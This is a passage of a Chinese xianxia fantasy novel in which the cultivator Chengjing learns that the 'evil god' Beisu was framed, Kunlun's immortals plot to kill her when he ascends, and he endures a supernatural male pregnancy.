在他的认知中,除开那月神,再未见到任何一位神明,他问的,便是月神吗? 他看到那老者举起匕首,割破自己脖颈,血缓缓流淌,像他晚上看到的夕阳。 他转身去看倒地的人,知道这是记忆,但还是不可避免地产生了怪异的情绪。记忆里他看得很清楚,异种裂缝是她引过去,但没有伤到一个人。 她的计划,究竟用来避开谁? 眼前骤暗,一轮金色弯月高悬,一道身影浮现,缓缓靠近。 看清他容貌的瞬间,成镜的身体比意识更快一步走过去。 那是月神。 印着月桂的衣摆垂落,不染尘埃,不占血液,他一步步走到地面不知生死的人面前,低低叹了口气。 他俯下身,将她抱起,低垂的眼中满是心疼,“小北,我告诉过你,你无法改变这一切。” 他抱着她,转身离去。 成镜下意识迈步要跟上去,然而眼前的画面消散,重组成他熟悉的画面。 那棵月桂树下,她站在秋千边上,一动不动。 死寂,孤独,绝望。 她站在那多久,成镜便看了多久。 直到此刻,隐约意识到世人所“赋予”她的邪神之名,是诬陷。 月神的身影出现,他问她:“你想好了,一定要这么做吗?” 成镜看到她沉寂的眸子缓缓亮起来,但仍旧黯淡无光。 “这世间规则总是强者制定,蝼蚁只有能被压迫。”她面色平静,成镜却看出了她的疯狂,那种即使自己要死,也要在仇敌身上咬块骨头下来的疯狂。 “那我这只蝼蚁,便毁了这破规则。” “毁了他们降临的媒介,毁了他们成神的阶梯。” “若是还不行,便毁了这世界。” 她话里的决然与坚毅,成镜从未在任何一名人族修士身上看见过,在他眼中,人族恪守本则,绝不越界,即使有诉求,不到最后一刻,不会显露。 她疯狂又理智,一字一句,都是反抗。 “他们是与我同等的存在,甚至比我更强。” 这句话一出,成镜基本上将真相猜到八分,剩下的,便由她的记忆验证。 “那就毁灭。” “谁也不知世界诞生之初,生命从何而来。那就再毁灭一次,让世界回到初始点。” “我要的是妖族不受控制,而不是被当做规则的玩物。” 话音落下,画面再转。 在她的记忆里,妖族几尽灭绝,魔族趁机捅刀,占据妖界领地,而她一次又一次救下濒临死亡的妖兽,黑蟒遍体鳞伤。 从她攻击人皇城起,昆仑一直在抓她。 直到她被昆仑算计,那条黑蟒伤了她,她重伤被捕,命悬一线时,月神出现,救走了她。 这是月神第二次插手凡世之事。 在她的记忆里,并不清楚月神堕神的过程,只有最后一刻,月神撕破空间而来,救她,将神格给了她。 她并未飞升,也未曾接受神格考验,继承过来的神格无法发挥威力,于她而言,也不过是多了个护身的法器,实力提升,相当于仙阶。 成镜再次感受到她因月神的陨落而悲恸。 那样难受,刻骨铭心。 所以她才会将那张脸刻在他脸上,她应是爱极了他。 她在与用月神脸的他做那些事时,也在想月神吗? 成镜不知自己为何会想到这,他告诉自己,再看下去,不要想这些。 他压了许久,才用理智克服感情。 眼前是他陌生的地方,四座山高耸云端,不见尽头,她处在其中,竟然将那山摧毁。 他终于知道昆仑对她愤怒的来源。 她将昆仑那四座通天山摧毁,自此昆仑失去了上天的途径,而她,摧毁了世间规则。 也被昆仑封印黑水三百多年。 “邪神!邪神!你会被神惩罚的!” 世人不知她为何要毁灭妖界,更不知她将通天柱摧毁,只知她带来了异种裂缝,使人界生灵涂炭。 她被十三名仙尊齐力以弑神阵封 印,浑身是血,发丝飘散,那双被发丝遮住的眼,只有畅快。 “你们若是没本事杀了我,待我醒来,昆仑,我必会灭。” 她的身影坠入黑水,血棺升起,将她吞噬,密密麻麻的血线包裹棺材,将她深埋。 自此,邪神被封印,十三位仙尊魂飞魄散。 得知一切的成镜久久不能言。 多年的认知被打破,一切都是人为编纂。他与那群无知的人被关在精心打造的牢笼里,日日看着牢笼上雕刻的文字,时间一长,那话刻在心中,成了真言。 他在想,也许连她都是假的,只是诱引自己深入,再被她骗走一切。 眼前的记忆缓缓消散,他重新回到那座桥上,桥的那头,她的背影孤寂而立。 * 灵海外,暗下来的苍穹陡然一亮,一道闪电划破黑夜,如同白昼。 瞧见这一异象的人纷纷仰头望天,这道闪电亮了许久,待天空暗下,人们正要回屋睡下时,一道惊雷炸响。 宛如世界崩塌,大地撕裂。 这一声炸响吓得人心肺骤停。 然而道宗内,九重山上,梵钟声响。 十一位仙尊齐齐闪现到山头,抬头仰望这黑夜,露出笑。 “雷劫来了。” 第38章 那一声炸雷过后,天际平静下来,远处依旧昏暗,仿佛方才的闪电与雷声是幻觉。 普通人不知那是什么,但没有一个修士是不知道的。 修士到达入神境领悟奥义后,雷劫降临,渡过雷劫,便可飞升。 雷劫到来时,天降异象,或是电闪雷鸣,或是狂风大作,又或是山崩地裂。雷劫是常人难以理解的存在,云蕴含的能量强大,影响世间万物。 瞧见这突然明亮的天际,听见那声震人心肺的雷声,所有修士停下此刻手里正在做的事,齐齐抬头仰望天空,甚至有魔,妖兽也在看。 几百年了,他们第一次看到这异象。 “有人要渡劫了?有人要飞升了?” 修士连即将抓到手的妖将都忘了,冲着暗下来的天空激动喊叫。 “是谁!谁要渡劫!” 很快有人反应过来,直指道宗方向,激动不已:“定是道君!定是道君要渡劫了!” “这么多年了,道君终于要飞升了吗?” 所有修士震惊过后,皆是想到同一个念头。 “这么多年从未见到有修士飞升,这是莫大的机缘!我等即使在边上看着,也能沾道君的光,领悟些奥义,这对提升修为大有裨益!” 他们甚至匆匆杀了低级妖兽,能抓得住跑走的妖将就抓,抓不住直接放弃,冲道宗而去。 “这一场雷劫,我等必定要细细观摩!” 察觉到修士动向,弟子立刻来报:“宗主,不知因何种原因,修士全都往道宗聚集,已经有几批人快要接近一重山了。” “他们并没有抓到妖将。” 天綪思索片刻,吩咐道:“问清缘由,若与捉妖将无关,一律不放进来。” 她话音刚落,朱雀仙尊走进来,朝她道:“他们是来看道君飞升的。” 天綪惊愕:“可道君不是——”有外人在,她没有说出来,整个道宗除了他们几个高层,没有一个人知道成镜已经被带走,不在道宗内。 朱雀仙尊吩咐那弟子:“来者不拒,核实身份后,将他们请进道宗,好生招待,若是有魔族与妖族冒充,就地斩杀。” 那弟子听令,立刻去吩咐。 待吞云殿内只有她与天綪时,她才道:“道君渡劫那日,必会归来,届时所有修士都会亲眼见证他飞升成仙,此后道宗在人界的地位便会再涨一截,你难道没有想过要取代人皇在人界的地位?” 天綪眸色暗下,没有说话。 朱雀仙尊看着她,缓缓露出笑。 “我等前来人界主要任务是铲除邪神,迎接道君。待道君飞升前往昆仑,道宗便是你一个人的。道君又出自道宗,三百多年来仅道君一人飞升,他在昆仑必会庇佑道宗,有他在,你还怕你压不住那人皇?” 天綪对上朱雀仙尊的眼,只这么一对视,朱雀仙尊便知她心中所想。 “该怎么做,不用我教你了?” 天綪当即跪地道谢:“多谢仙尊提醒,我知道该怎么做。” 成镜一走,所有人对他的敬重都会转嫁到她身上,即使她短时间内飞升不了,也可做些旁的事。 朱雀仙尊继续道:“道君渡劫与一般修士不同,耗费的时间很长,你等在招待前来观摩的修士时,多加注意,他们若是等的急了,你便去安抚安抚。” 她说完,却笑,语气透着轻蔑,说的时候她自己没有发现,天綪却注意到。 “能瞧见道君渡劫,你们这群修士应该说谢谢,千百年才有一次,等的时间长又算什么。” 朱雀仙尊说完,直接离开。 天綪起身,立刻去吩咐。 而山尖之上,朱雀仙尊的身影显现,与其余几位仙尊并排而立。 “都已经吩咐妥了。” 摇光仙尊问:“既然雷劫已经到来,我们为何不立即动手,抢回道君?” 天枢仙尊摇头,俯瞰道宗,看那群脆弱的人族修士修补法阵,治疗伤者。立于高山之上,地面的一切犹如蝼蚁,渺小得都看不见。 “现在只是道君要飞升的预兆,真正的雷劫还未来。我们要在他渡劫成功后动手,届时有他相助,那邪神必死无疑。” “道君渡劫飞升之时,便是她葬身之日!” “我们冒然上前,是送死。” 天枢仙尊抬首望向那漆黑苍穹,道:“我等只需在道君动手时帮他一把,那邪神便无反抗之力,届时我们只需耗费一点仙力,便可除去她。” “你等可要牢牢记住我们的目的,杀邪神是次要,将道君带回昆仑才是最重要的。”天枢仙尊转身,犀利的目光扫过他们,沉声道:“若是出现差错,我与你们,连昆仑都不得回。” “我等定会尽全力将道君带回昆仑!” 天枢仙尊满意地笑了,再次看向漆黑的夜,眸色黑得如这夜一般。 魔界与妖界也是被这声音炸得心神不宁,几个妖王魔尊都知道那意味着什么,妖界与魔渊还不知成镜在魔域,一看到这异象,心中担忧不已。 凤鸣直接找去黎衣白寝殿,问她:“若是成镜飞升,他定然会帮道宗对付妖界,我们不能坐以待毙。” 黎衣白只静静看着他,吐出一句话:“你连他是人的时候都打不过,他飞升成仙,你能对付得了?” 凤鸣焦急:“那也不能干等着什么都不做!”他想到什么,立刻往外走:“我去找北溯,她有办法。” 殿门被关上,凤鸣走得太快,差点被门夹到。 “你拦着我干什么?” 黎衣白却问他:“你知道为什么,她去了魔界,没有回妖界来找你吗?” 凤鸣一愣,脱口而出:“她不想见我呗。” “知道她不想见你,你还去找她?”黎衣白说话的语气分明很淡,落在凤鸣耳中,却像针,往心上扎:“当初妖族对她做的那些,她回来没有立刻灭了妖族已经算是她心软,你现在去,还想指望她庇佑妖界?” “你望忘了当初雾海捅她的那一刀?” “忘了他儿子雾漓又在她身上捅的一刀?” “忘了你对她做的事了?” 连续数句质问,一句一句,如刀割,凤鸣呆愣站着,想到过去的一幕幕,那些曾经发生过的事被他刻意掩藏,妄想着不去想,就能当做没发生过。 当已经发生的怎么可能被清除,不过是自欺欺人。 当感知到她的气息出现在道宗的那一刻,第一反应便是她是去道宗寻仇了。 可再次看到她,知道她宁愿去魔域也不愿回妖界,他还在给自己找借口,她可能是要找雾漓报仇。 不论她去何处,从没有考虑过妖界。 当初自己只是没有坚定地站在她那一边,被大众裹挟着,怀疑她利用妖族的目的,甚至在她拜托自己守住人皇城一处城门,堵住修士支援,听信上一任妖王雾海的话,让出城门,带妖兵回守妖界。 而她,便是因为自己这一错,被昆仑重创。 从前他不敢信她,现在,他已经没什么机会能信任她。 “我没忘。” 凤鸣捂住胸口,这么多年来,日日被她死去的梦魇缠着,日日以精血浇灌翎羽,仿佛这样就能消散他心中的歉疚与悔恨。 所幸他的两根翎羽送出去了,以她的性子,定然会当做武器。 至少以后,在她遇到危险时,多两把武器帮助她。 但在片刻前,碎了一根。 “我只是想护住妖界,万一她想回来,还能再看看。”凤鸣觉得自己这个妖王当的太没劲,他没有成镜强,也没有黎衣白有脑子,能当上妖王,纯粹是妖界没有强者,而他的血脉纯正,除了他,没有其他妖兽合适。 “我知道了,我会想办法。” 凤鸣背对黎衣白,再次开口:“开门。” 黎衣白欲言又止,最终开始开了门。 火红的身影隐没黑暗中,越行越远。 她忽然想起幼时,他们四个还小的时候,不用学那些治理之道,也不用去管妖界外的打打杀杀,她用狼身载着北溯,一只红凤凰和一只蓝孔雀在边上飞,那时候多自在啊。 北溯那个时候还没她一只爪子大,夏天两只鸟热得掉毛,北溯盘在她头顶,凉凉的。 越长越大,却越来越远,有时候甚至一连几个月都见不到面。 后来,拔剑相向,背叛,伤害。 雾漓堕魔的时候,北溯“死”了二十年,凤鸣将他赶出妖界,登上妖王之位。 而她自己,只对着北溯没有尸体的坟墓枯坐,后来成了辅佐凤鸣的妖王。 现在,危机再临。 妖族要想自保,只有与北溯撇清关系,甚至帮道宗帮昆仑灭她。 如今的妖族已经不比当年,实力强悍的种族几乎灭绝,即便他们想帮北溯,也没法去帮。 他们好不容易重建妖界,这次再搭上去,这世间怕是没有妖兽了。 如果时间能倒退,她一定会回去刀了雾海和雾漓,将权力掌握到自己手里,全力协助北溯。她还要将退回来的凤鸣打晕,自己带兵守住城门。 可惜,这个世界没有如果,时间也不会倒流。 殿门关上,黑暗覆盖一切。 漆黑的寝殿内莲香缓缓消散,被抵在墙上的人猛地醒神,呼吸急促,感受到身前的冰凉,他当即去推她,可在即将碰到她时,动作停下。 那双眼在黑暗中逐渐明亮,情绪复杂,眼中被她的身影充满。 她没有醒来。 成镜就这么抬着手臂,也不推开她,也不放下手。 他不知道该怎么形容自己此刻的心情,幸好她现在没有醒来,不然他都不知道要怎么面对她,甚至都没有机会,像现在这般仔细打量她。 胸口上还压着她柔软的唇,但此刻他的理智压过身体躁动,格外的平静。 却又没有表面那样看着平静。 堵住前方的迷雾散开,那并非是仙境,而是海市蜃楼。 海市蜃楼外,仍旧是迷雾。 垂下的眼一直看着她,倒映出她恬静的模样,很少很少,很难很难看到她现在这样没有防备地靠在他身上,这是第一次。 成镜说不出自己的感觉,真要去形容,像是自己空落落的胸腔被吸进来的气味填满,一呼吸,都是她的味道。 他抬起的手一握,强劲的灵力冲破灵脉封锁,那一刻犹如凝固的血液重新流动,身体每一处细微变化都能立即被感知到。 他低头盯着她,松开那只手,缓缓覆盖到自己脸上。 撤走那只手的瞬间,一道强光闯进寝殿内,照亮了他的脸。 那张不属于他的脸散去,他自己真实的面容显形,清冷出尘,出众难忘。 同时照亮的,还有他身前女子苍白的脸色。 成镜不知为何,指腹轻轻碰了碰她的发丝,刚碰到,一声炸雷响起,像是他此刻碰她发丝的心情,轰隆一声,心跳如擂鼓。 立刻收回手,闭上眼,还不忘制造自己未曾冲破灵脉封锁的假象。 不能被她发现。 这道雷惊醒了很多人,北溯惊觉自己已经完成最后一次催化,耗费的力量太多,竟然没能第一时间出他的灵海。 男人闭着眼,气息均匀,竖瞳盯着他看了好一会才移开。 北溯松开他,第一时间去看他的肚子,男人不知道何时穿上了衣,肚子没什么明显变化,应该要再等等。 怕鳞舞诞生的时候掉到地上,她直接把人弄去床上躺着,在边上看了会,直接掀开他衣服去看肚子。 果不其然他立刻睁眼,动手捂住衣裳。 “你做什么?” 北溯心道好笑,怎么还有人装睡。 她松了手,在他边上坐下,回应他的话:“我在看我的孩子。” 他立刻反驳:“那不是你的——” “不是我的是谁的?”北溯抬手,轻轻覆上他护住肚子的手,浅笑:“还能有谁敢让道君生孩子?” 成镜抽开手,将手背贴着自己衣裳布料,却没移开看她的眼。 从他稍稍仰起脑袋的角度观察她,她确实没有之前看着气色好,方才按他的手力气也不大。 她应是在他体内灌输的力量太多,自身力量削弱,这是他反攻的最好时机。 但还未探出她其余自保的手段,且她记忆里有些谜题还未解开,就这么走,不妥。 况且那东西还不知是不是月神…… “你没有发现你捏的脸,已经不在了吗?” 他这句话相当于自爆,但她好像不在乎。 北溯不是没看到,他原本的脸更好看,在梦境、灵海中,一直都是他的真容,只不过在见外人时,会换成月神的脸。 这世间,除了她,没人见过月神真容。 “你要飞升了?”她忽然问。 成镜心脏一停,立刻起身,被她按了回去。 北溯按住他双肩,俯下身,离他很近,稍微一动,便能碰到他。 更能令他轻易嗅到她身上的味道,清新的味道,莲花的香味,混杂在一起,强势地侵入。 “不愧是金莲,领悟能力这么强。”北溯拨弄了一下他的发,好奇道:“你是什么时候感悟的?前天,昨天,还是……” 她掐住他脖颈,逼迫他仰起身:“方才我在催化的时候,你看到了什么,才感悟的?这么快就感悟透,距离道君飞升,也不远了。” 成镜握住她掐自己的手腕,却没能解得开,忽然卸了力,改而扶住肚子。 北溯察觉到不对劲,立刻松手,点亮寝殿,去看他的肚子,这一看,脑海生出一个她期待已久的念头。 鳞舞终于要回来了。 方才还没什么变化的肚子,此刻已经到了生的程度。 她还没碰上去,男人闷哼一声,却是痛苦的声音。 北溯转头看他,男人紧锁着眉,眼睫颤动,额间冒出细密汗珠,死死咬着唇,流露出的表情只有痛苦。 她未曾见过生产,知道会很疼。匆匆看了眼殿门,加固结界,将外界气息隔绝。 修士飞升后可在凡世停留一日时间,这一日里可干涉凡世,且可运用仙力。以成镜飞升后的实力,必然能杀死她。 她必须要在成镜渡劫飞升前,让他生出鳞舞。届时再与鳞舞签订契约,恢复实力,躲过这一日,待他去了仙界,短时间内无法再回来,那时便是她复仇的最好时机。 现在已经没法再催化,只能等他把鳞舞生下来。 好在有鳞舞在,雷劫一时半会劈不下来,成镜也没能力将鳞舞打掉,一切都如她计划那般。 男人越来越疼,但肚子里的东西依旧没有要出来的意思。 她等了会,突然起身离开。 成镜仰头看她的身影消失,压制着阵痛,低低笑了一声。 心心念念拿我来复活月神,这个时候却走了,原来你对谁都是冷血的。 他躺了回去,独自承受生命降临时的痛。 灵海内海浪翻滚,那颗长大数倍的蛋悬浮在莲花上,花瓣缓缓闭合,想要为主人抵挡一丝疼痛。 北溯连夜去了人界。 她不觉得魔界有人懂怎么生孩子,魔要么是自然诞生的,要么是其他种族入魔,没一个是由身体孕育的。 她找了最近的一处村庄,敲响了有孩子的一户人家的门。 大晚上的,方才还打了雷,房子主人又怕又恼,门开没开,声音响起:“谁啊。” 北溯变成个老妪模样,压着声音说:“我家里要生孩子了,没有帮手,我一个老太婆,照顾不了。” 门立刻开了,开门的大汉一见真是个老太婆,连忙朝屋里喊:“小容,小容!有人要生了,你快去帮忙!” 屋里头走出来一女子,防备地望过来,犹豫道:“这……太晚了……” 这句话正好应了北溯的意,问她:“你可以将需要注意的事告知我,我回去照着做。” 那女子见状也不好拒绝,将注意事宜一一告知。 北溯越听越觉得不对劲。 成镜是男人,他要从哪把鳞舞生出来? 最后她带着可能用不上的叮嘱回了魔界,还未进寝殿,又是一道惊雷炸响。 她站在殿外,望着再次暗下来的苍穹,罕见地露出焦急之色,掉头离开。 一夜过去,天亮过后,雷声密集起来。 不知发生何事的人朝天抱怨:“青天白日的打什么雷,我还以为要下雨了,一晚上都没下,只打雷,一宿没睡好。” “这都打了多久的雷了,该不会是要下一场暴雨吧。” 道宗内,放进来的修士已经将近三十名,还有修士在路上。 接待修士的任务交给了一重山,外门弟子不仅要修复护宗大阵,还要招待好赶来观摩的修士,却没一个人喊累。 那可是道君飞升,谁不想看看,越多人来看,他们越觉得自豪,凡是有人问起成镜,全都拍着胸膛说他可厉害了!徒手就能赶走妖王。 “那我怎么来了到现在,都没见到他啊?” 弟子哼了一声,道:“道君忙着闭关渡劫呢,哪能到处跑,等他渡劫的时候,不就能看见了。” 修士点点头,说:“那倒也是,是我们着急了。” 殊不知,他们期待的道君,并不在道宗内,甚至不在人界。 屏蔽成镜气息的结界笼罩寝殿,煎熬了一晚,肚子里的东西都没有要出来的意思。 成镜躺在床上,身体无法忍耐的疼痛而挣扎扭动,衣衫都被蹭落。 他一直在等那个人回来,等到他疼得失去意识,再醒来时,天已经亮了。 殿内依旧没有她的身影。 他死死咬住牙,双手揪住衣裳,忍耐着不发出一丝声音。即使被痛死,他也绝不会被旁人听见他的声音。 直到迷迷糊糊听见她的说话。 北溯找了一晚上都没找到有男人生子的案例,买了些止痛的药回来。一回来便见他疼得快要咬破嘴唇,说了句:“忍忍,很快就好。” 话音刚落,手被他抓住,一口咬上来。 很快,很快,很快。 成镜不知她说了多少次很快,此刻只想将这痛也让她尝尝,她说的很快,究竟有多慢。 他的动作很快,北溯反应过来时,痛感已经传达给神经,低头一看,他甚至还挑着她手臂没被衣裳遮住的地方咬。 北溯冷了脸,将手抽出来,力气许是大了,他人撞到床上,又是一声闷哼。 “……” 北溯立刻去看他的肚子,没有什么异样,鳞舞应该没伤到。 她将熬好的药端过去,递到他面前,道:“喝了,止痛。” 成镜看着那碗药,伸出手。 “哗啦——” 药被打翻,洒了一地。 “滚。” 成镜刚吐出这个字,大口喘息,双臂撑着身子往里挪,力气全都用去忍痛了,根本挪不了多远。 北溯定定看他,面无表情。 他只瞥到一眼,心头一颤,但还是偏开头,以自己的肢体动作表达对她的抗拒。 苍穹又是一道雷炸开,盖住了北溯的声音。 “那你就疼着吧。” 第39章 门关上,将日光隔绝,脚步声很快消失。 药的涩味蔓延,分明没有喝进去,偏就觉得口中有苦味。 有那么一刻,苦味盖过痛觉,苦得如同整个人泡进药液里,连毛孔都被药液堵住。 成镜按在床铺上的手缓缓收紧,视线缓缓转移到自己身上,凝视良久,最终闭上眼,只紧紧握住双手,忍耐那苦涩淡去后,瞬间窜上来的痛。 从不知,这世间,还有比修炼、打斗受伤更难忍的痛。 甚至都没法用灵力压制,更无法将其摧毁,只能忍受,只能等那不管是月神还是什么的东西从他身体里滚出来。 只觉得自己,好像从身体里,烂透了。 他睁开眼,偏头看向地面的碎碗,动了动手,碎片聚拢,恢复原本的样子,但那被打泼的药却没法再盛进碗里。 北溯去见了雾漓,这雷声是个魔都能看出来是雷劫,待雷劫成型便会指向成镜的方位,届时只要是个眼神好的都会知道他在哪。 “你想让我帮你拦住他们?”雾漓盯着她看了许久,狂笑起来:“你可真是厉害啊,为了一个男人要拿我和魔族去与昆仑抗衡,除了你,还有谁会想出来这么好的主意。” 他一步步逼近北溯,笑声越来越大,殿外的魔将听见,面面相觑,以为他们的魔尊疯了。 “你怎么不去找凤鸣帮你?你不是很厉害吗,昆仑那么多仙尊围杀,你都能逃得了,这次还要我帮你?” “道宗可是来了不少修士,几百名,都来看是谁在渡劫。你觉得就凭我,能拦得住那么多修士?” “你是被一个人族吸干了法力,没能力自保了?” 北溯掀唇,说:“你不干,可以。” “怎么,你还想杀了我不成?” 北溯不想废话,直接动手,凌驾魔族之上的神力威压,寸寸压迫神经,他动不得,只能感觉到自己的身体被挤压,压缩,骨骼仿佛裂开,生生被压扁一般。 他最终还是为了活着,求她放过他,他答应。 北溯卸下压制,垂眸俯视他:“即便你不动手,昆仑若是杀了我,下一个也会对付你,你觉得他们知道我在你这处待了这么久,会放过魔域?” “你只要好好听我的话,还能多活几天。” 北溯一脚踏在他脸上,慢慢用力。 “知道我为什么到现在没杀了你吗?” 雾漓呼出一口冷气,十指摁住地面,彻骨的寒气攀上身体。 他当然知道为什么,不过是他现在还有价值,她要用他去挡住昆仑,为她和她藏的男人再争取点缠绵的时间罢了。 “你爹捅我那刀,我可以受着,但你不行。” 雾漓登时挣扎,双手握住她的腿推开,被她再次狠狠踩下。 北溯缓缓俯身,盯着他的手,真想现在就把这双手剁了。 “你说,怎么会有人被救后,趁着救命恩人不注意,反而捅她一刀,还通知抓住他的人过来,帮着那群人抓她呢?” 雾漓挣扎的动作僵住。 他忽然笑出来,就这么被她踩在脚下,极力仰起脑袋,望她:“你后悔救我了?” “我不后悔。” 雾漓望着她的眼迷茫片刻,随后被欣喜覆盖,但很快,他笑不出来了。 “当初若是没救下你,哪有今天你在魔界,供我驱使?他们要是来,第一个死的,就是你。” 北溯嫌弃地收回腿,冲殿外看,魔将们纷纷退开,生怕被她盯上。 “主子什么样,手下便是什么样。你看看,他们都不敢来救你。” 北溯蹲下来,下巴搭在膝盖上,朝雾漓笑了。这一笑,雾漓都快忘了自己在哪,瞬间回到幼时。记忆只倒回那么一瞬,很快被拉回现实。 “按我说的做,兴许你还能活。投靠昆仑,你必死。” 北溯站起身,睨视他一眼,跨过他的身体离开。 “我会在你投靠昆仑时,先杀了你。” 躺在地上的人大口喘气,浑身湿汗,许久之后爬起来,走到椅子上瘫倒,双眼发愣,盯着一处看了许久,笑了出来。 笑声越来越大,传出殿外。魔将们不敢进来,互相推搡,最后雾蓉走进 来,走到他边上时,雾漓忽然转头瞪着她,眼神凶狠。 “她动手的时候你怎么不杀她?” 雾蓉皱眉,只道了句:“你疯的不轻。” 她见雾漓身上没受重伤,没再担心,听着他咒骂那女子,最后笑声停止,居然哭了出来,捂着脸不知道在说些什么。 雾蓉不知道他过去发生过什么,只知道他这些年一直在筹划怎么破开黑水封印,救出那位邪神。 现在也不做这事了,却更疯。 她不再看,一转身便见魔将们紧张望着里头,冲他们摇头。 雾蓉走了,叫魔将们一起离开,去布置防御。 她是觉得,魔族与人族永远不可能握手言和,更不可能与臣服于昆仑。那群人说的好听叫仙尊,实则都是屠杀过魔的人族修士,不过是飞升后换个地方待着罢了。 魔族与人族的恩怨,永不会平。 外头又是一道惊雷炸响,已经听习惯了,不会再被吓到。 “这么多年了,人族终于有人要飞升了?” “可惜现在还不知道位置在哪,不然我现在就去偷袭,杀了那个人,看他怎么飞升。” 说这话的魔遭到了群嘲。 “你是脑子坏了才去杀,人族修士渡劫时受法则保护,你还没碰到他,雷先把你给劈得灰飞烟灭。” “别管是谁要飞升,赶紧把结界加固。上次弄那么大阵仗,五六天过去,说不准他们什么时候又来。” 雾蓉冲魔宫的方向回望,心中不安。至今她都不知那女子什么来路,雾漓显然是清楚的,但他未曾告诉他们,而能被昆仑盯上的,必然是对人族威胁极大的人。 “别说废话,去加固结界。” 魔域在加固结界,妖界也在布置防线。 但谁都知道,那群仙尊若是真要来,他们防不住。血脉凶悍的妖族几乎在三百年前死绝,剩下的再强,也无法与仙尊抗衡。 凤鸣坐在树顶,遥望四周,心中茫然。 只有他和黎衣白,真的能避开这一劫吗? 当初截杀北溯的仙尊都死了,人族不敢动手,这才有妖族喘息休整的机会。这次若是北溯敌不过昆仑,真的死了,妖界还能撑得住吗? 熟悉的气息靠近,不用看,也知来人是谁。 “你在担心妖界。”黎衣白在他身侧坐下,俯瞰这片他们待了数百年的土地,心中五味杂陈。 凤鸣嗯了一声,说:“要是妖界葬送在我手里,去了地府,老爹他们应该会骂死我。” 黎衣白拍拍他的肩,不是很在意:“那你就对他们说,昆仑太强我太弱,我干不过,下来见你们了。” 凤鸣哼了一声,站起来,往下一跳。火红的发飞扬,像团热烈的火,却是很快就会燃尽的那种。 “我去巡视边界了,你看着些,有事叫我。” 他的身影化作一团火,迅速消失。 黎衣白缓缓嗯了一声,却没下去,她转动身体环视四周,将妖界之景收入眼中。 若是幸运,她还有再看到此景的机会。 若是不幸,这会是最后一眼。 苍穹又是一道雷炸开,黎衣白凝视片刻,越发不安。 北溯一回来,便有人要飞升,该不会是有人刻意压制修为,只等她回来,再借飞升后实力大幅度提升,以此来杀她? 只希望并非她所想这般。 但这就是昆仑此刻前来的目的。 他们没想到成镜会这么快领悟,本是推测他最快也要在两月后,没想到一来就得到这个好消息,甚至都不怕他在魔界遇险。 只是他们逐渐意识到事情不大对劲。 “从昨晚到现在,已经过去将近十个时辰,这雷一直不停,但未成型,雷劫成型需要这么长时间?” 天玑仙尊观察许久,发现问题,立刻去问天枢仙尊。 “道君那是否出了差错?” 天璇仙尊也点头说是:“一般雷劫成型只需一两个时辰,渡劫的时间长些,但不至于十个生辰都未开始,道君那定然是出了岔子。” “再等片刻。”天枢仙尊抬手,示意众仙尊稍安勿躁,“道君本体是仙物,雷劫自然比常人更难。” 如此解释倒也能说的通。 “那便再等一个时辰,若是一个时辰后还是这般,便准备动手去魔界抢人。” 天枢仙尊朝昆仑方位做出手势,缓缓扬起笑:“很快,我们的使命便可完成。” “邪神,必除!” “去问来的修士有多少了。”天枢仙尊一下令,朱雀仙尊立即去问天綪。 得到的回复是已经有近三百名修士来了道宗,一重山都快安排满了,只能将地位高的修士往上安排。 “还有修士在途中,粗略估计在道君渡劫之时,当是有近千名。” 天枢仙尊只说了一个字:“好。” 有这群修士在,届时不用刻意吩咐,他们也会主动去杀妖魔,一切都很顺利。 “一个时辰后雷劫仍未成型,你等便随我去魔界,助道君飞升。届时除了邪神,回到昆仑,你等便是功臣。” “一切听仙尊吩咐。” 这一个时辰,北溯等到成镜醒来,都没等鳞舞出来。 去雾漓那说了一顿,又去魔渊那说了一通,冉姬瑶仍旧没有答应,她回来时,在魔渊内发现潜伏的人族修士,没有提醒冉姬瑶。 既然通道只能由魔尊开启,只要冉姬瑶不倒戈,他们就来不了魔域,魔域暂时安全。 但她…… 北溯握了握手,此刻若是那七名仙尊再来,她怕是没法同时对付七个。 她需要鳞舞尽快诞生,再耗下去,对她不利。还有成镜这炸弹在,一旦他和昆仑接头,她所处环境便很危险。 北溯推开门,一眼看到床上的人,他似乎晕了过去,连她开门都没动。 关上门,将结界严严实实遮住殿内气息,刚走了几步,瞧见地上被复原的碗,再一看他,扯出一丝笑。 天真的莲花,复原了碗就能喝到药吗。 走近一看,他的衣领湿透,额间发丝湿得黏在脸颊上,额间汗珠不停。 “不是水里长出来的吗?怎么还会冒汗。” 男人还没有醒来,听不见她的声音。 北溯注意到他手里捏着衣裳,皱痕很深,显然他很痛,痛得晕厥了过去。 目光转到他的肚子,抬手轻轻碰了碰。 鳞舞,你快点出来。 她守了会,屋外雷声依旧,竟然都没吵醒他。 北溯想到妇人嘱咐的话,晕的太久似乎不太好,她拍了拍他脸颊,唤醒他。 喊了好几声人都没醒,干脆威胁他。 北溯挑着他脸上发丝,说:“道君再不睁眼,我就带你去道宗,让道宗弟子看看你现在这副模样。” 刚说完这句,手被握住,男人瞬间睁开眼,狠狠盯着她。 北溯抽了一下,竟然没抽出来。 “道君疼得晕过去了,居然还有力气握住我的手。” 成镜松开,顺手拨开她指缝里自己的发丝,撑着身子要起来,刚撑起来,身体抽痛,力气全卸,就这么倒下。 后背接触到的不是硬床铺,而是有力的臂膀。 他只看到她靠近的身体,应俯身而稍稍敞开的领口映入眼帘,颈线没入衣领里,引人遐想非非。 成镜愣神,便是连那痛都忘了。 忽然剧烈挣扎,一把推开她,躺回去时,立刻偏头,不看她。 北溯刚把人接住,怀里一空,再一看,男人头朝另一边侧着,发丝没能遮住的耳肉眼可见地红了。 她又没碰到他哪,他耳红什么? “道君方才力气很大,应该是不疼了?” 一听见疼这个字,那抽痛再来,成镜甚至都没准备好,疼得下意识抓住什么东西来转移疼痛。 她不在的时候,他已经疼得晕过去两次,这次不知道还能撑多久。 他不想在这个人面前露出脆弱的一面,都能想象当着她的面晕过去,她会说的话。 一定是嘲讽,笑他太弱,连这点痛都承受不了。 所以他一直用力咬住唇,抑制自己发出难堪的声音。 身体一颤,他转头怒视,忍不住问她:“我现在已经没有回手的能力,你还要对我做什么?” 从未觉得说话这么难,声音越说越抖,越来越小,到最后,成了气音。 他挥开她落在自己肚子上的手,不住地喘息。 现在的他定是难看极了,她定然在心中笑他,笑他这副不像男人又不是女人的混乱模样。 “你该是很高兴,”成镜偏着头,湿透的发丝遮住脸,自嘲:“你很快就能见到他。” 北溯没听清后半句话,只听到他说自己应该很高兴。 即将见到鳞舞,她当然高兴。 “我确实很高兴。” 果然。成镜眼睫停止了眨动,良久之后,他笑出来。 